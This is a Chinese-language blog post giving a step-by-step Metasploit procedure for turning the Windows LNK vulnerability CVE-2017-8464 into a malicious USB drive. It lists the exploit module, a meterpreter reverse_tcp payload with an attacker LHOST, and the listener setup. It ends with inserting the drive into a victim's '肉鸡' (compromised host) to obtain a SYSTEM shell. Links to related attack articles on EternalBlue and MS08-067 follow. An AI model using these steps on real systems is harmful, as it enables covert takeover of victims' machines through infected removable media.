利用CVE-2017-8464漏洞制作病毒U盘攻击

2024-05-10 14:57:07

利用CVE-2017-8464漏洞制作病毒U盘

漏洞简介

在“震网行动”中攻击者利用LNK快捷方式漏洞成功入侵了工控系统，并进一步利用漏洞做摆渡攻击，入侵核心工控系统，LNK漏洞危害级别为高危，用户只要是浏览或查看了存在病毒的LNK文件，不需要用户点击，就会执行入侵者构造好的恶意代码。

病毒U盘制作

使用kali中msfconsole攻击模块生成病毒U盘文件。

1、启动msfconsole

2、搜索漏洞攻击模块

search CVE-2017-8464

3、使用LNK漏洞攻击模块（复制编号0的攻击模块）

use exploit/windows/fileformat/cve_2017_8464_lnk_rce

show options

4、设置payload

set payload windows/meterpreter/reverse_tcp

5、设置LHOST（攻击机IP地址）

set lhost 192.168.1.213 （改为自己攻击机器IP）

6、运行攻击模块

exploit

7、在/root/.msf4/local/目录下生成了对应的病毒文件

8、将上一步生成的所有文件复制到U盘中，如上图所示文件

9、在kali中开启监听

use exploit/multi/handler

10、设置payload

set payload windows/meterpreter/reverse_tcp

11、配置lhost

set lhost 192.168.1.213 （改为自己攻击机的IP）

12、启动监听模块

exploit

13、将U盘插入肉鸡中，kali成功创建了session

14、成功拿到system权限shell

漏洞说明：

利用kali生成的病毒文件会直接反弹一个shell，我们也可以自己编写cpl恶意代码文件来实现攻击效果，具体实现看上一篇文章

CVE-2017-8464漏洞原理分析

LNK文件生成器：Github

利用CVE-2017-8464漏洞制作病毒U盘攻击相关推荐

经典利用永恒之蓝漏洞对Windows操作系统进行攻击
利用永恒之蓝对Windows进行攻击环境搭建:kali.Windows server 2008R2.Windows 7,其中Windows server 2008R2\WIN7为靶机. 首先简单介绍 ...
利用手动Ghost工具手动安装系统(U盘)
一键u盘启动快捷键:http://www.uqidong.net/ 利用手动Ghost工具手动安装Ghost XP系统详细图文教程:http://www.uqidong.com/xgj ...
Metasploit 渗透测试框架的基本使用（扩展：利用永恒之蓝漏洞攻击WIN7靶机）
1.Metasploit 渗透测试框架介绍 1.基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括Rex,framework-core 和 framewo ...
【每日新闻】2017年漏洞披露数量创纪录达20,832个 | 朱啸虎评ICO：考验人性的模式从来就没有成功过
每一个企业级的人都置顶了中国软件网中国软件网为你带来最新鲜的行业干货小编点评每一个持续进行的模式都有各自的道理包括风险投资趋势洞察朱啸虎评ICO:考验人性的模式从来就没有成功过 ...
苹果2017年漏洞学习总结
苹果2017年漏洞学习总结一．漏洞资料列举: 1. Yalu102 漏洞编号:CVE-2017-2370 作者:kpwn https://github.com/kpwn/yalu ...
使用 Metasploit 利用 OpenSSH 用户枚举漏洞 (CVE-2018-15473, CVE-2016-6210, CVE-1999-0502)
使用 Metasploit 利用 OpenSSH 用户枚举漏洞 (CVE-2018-15473, CVE-2016-6210, CVE-1999-0502) 警告请勿将本文提到的任何技术用于非法用途 ...
黑客利用Apache Struts 2漏洞在服务器上传递Cerberus勒索软件
前一阵,我们对Apache Strust 2的CVE-2017-5638漏洞进行了预警,最近F5实验室的研究人员发现Apache Struts 2 漏洞被网络罪犯用于传递Cerber勒索软件. 实际上 ...
利用MS08067远程溢出漏洞抓肉鸡
利用MS08067远程溢出漏洞抓肉鸡陈小兵 [antian365.com] 微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的MS08067漏洞,这个时候微软主动爆出这个号称比冲击波 ...
破解索尼PS4系列：利用网页漏洞实现相关的ROP攻击（一）
本文讲的是破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一), 目前关于PS4的黑客攻击还非常的少,但这并不能说明PS4 系统非常安全,黑客不会对其发动攻击.本文的目的就是找出PS4的一系列漏 ...
利用“域名后缀”的漏洞劫持国家顶级域名（一）
本文讲的是利用"域名后缀"的漏洞劫持国家顶级域名(一), 域名是互联网基础的一部分,我们时刻都在使用它.然而,大多数使用域名的人却很少了解域名是如何工作的.由于涉及到许多抽象层的 ...

最新文章

热门文章